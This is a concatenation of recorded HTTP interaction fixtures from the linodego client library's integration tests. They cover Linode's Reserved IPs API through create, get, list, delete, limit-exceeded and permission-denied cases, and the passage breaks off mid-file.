X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips?page=1 method: GET response: body: '{"data": [{"address": "66.175.209.178", "gateway": "66.175.209.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "66-175-209-178.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "313" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/66.175.209.178 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/66.175.209.178 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:51 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 404 Not Found code: 404 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/255.255.255.4 method: DELETE response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:51 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 404 Not Found code: 404 duration: "" TestReservedIPAddresses_EndToEndTest.yaml000066400000000000000000000262111474652371000344610ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:47 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "66.175.209.178", "gateway": "66.175.209.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "66-175-209-178.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/66.175.209.178 method: GET response: body: '{"address": "66.175.209.178", "gateway": "66.175.209.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "66-175-209-178.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips?page=1 method: GET response: body: '{"data": [{"address": "66.175.209.178", "gateway": "66.175.209.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "66-175-209-178.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "313" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/66.175.209.178 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/66.175.209.178 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:49 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 404 Not Found code: 404 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:52:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestReservedIPAddresses_ExceedLimit.yaml000066400000000000000000000173231474652371000343610ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "69.164.208.243", "gateway": "69.164.208.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "69-164-208-243.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 16 Sep 2024 17:00:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "45.79.130.88", "gateway": "45.79.130.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-130-88.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "259" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 16 Sep 2024 17:00:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"errors": [{"reason": "Additional Reserved IPv4 addresses require technical justification. Please contact support describing your requirement."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "147" Content-Type: - application/json Expires: - Mon, 16 Sep 2024 17:00:22 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/69.164.208.243 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 16 Sep 2024 17:00:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/45.79.130.88 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 16 Sep 2024 17:00:23 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestReservedIPAddresses_GetIPAddressVariants.yaml000066400000000000000000000143161474652371000361520ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "45.56.109.241", "gateway": "45.56.109.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-56-109-241.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "261" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 29 Aug 2024 15:39:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/45.56.109.241 method: GET response: body: '{"address": "45.56.109.241", "gateway": "45.56.109.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-56-109-241.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "261" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 29 Aug 2024 15:39:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/999.999.999.999 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Thu, 29 Aug 2024 15:39:20 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 404 Not Found code: 404 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/45.56.109.241 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 29 Aug 2024 15:39:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestReservedIPAddresses_InsufficientPermissions.yaml000066400000000000000000000112431474652371000370420ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips?page=1 method: GET response: body: '{"errors": [{"reason": "Account doesn''t have permission to access the ''Reserved IPs'' feature."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "97" Content-Type: - application/json Expires: - Thu, 22 Aug 2024 15:37:02 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' status: 404 Not Found code: 404 duration: "" - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"errors": [{"reason": "Account doesn''t have permission to access the ''Reserved IPs'' feature."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "97" Content-Type: - application/json Expires: - Thu, 22 Aug 2024 15:37:02 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' status: 404 Not Found code: 404 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/172.28.3.4 method: GET response: body: '{"errors": [{"reason": "Account doesn''t have permission to access the ''Reserved IPs'' feature."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "97" Content-Type: - application/json Expires: - Thu, 22 Aug 2024 15:37:03 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' status: 404 Not Found code: 404 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/172.28.3.4 method: DELETE response: body: '{"errors": [{"reason": "Account doesn''t have permission to access the ''Reserved IPs'' feature."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "97" Content-Type: - application/json Expires: - Thu, 22 Aug 2024 15:37:03 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' status: 404 Not Found code: 404 duration: "" TestReservedIPAddresses_ListIPAddressesVariants.yaml000066400000000000000000000212521474652371000366730ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: 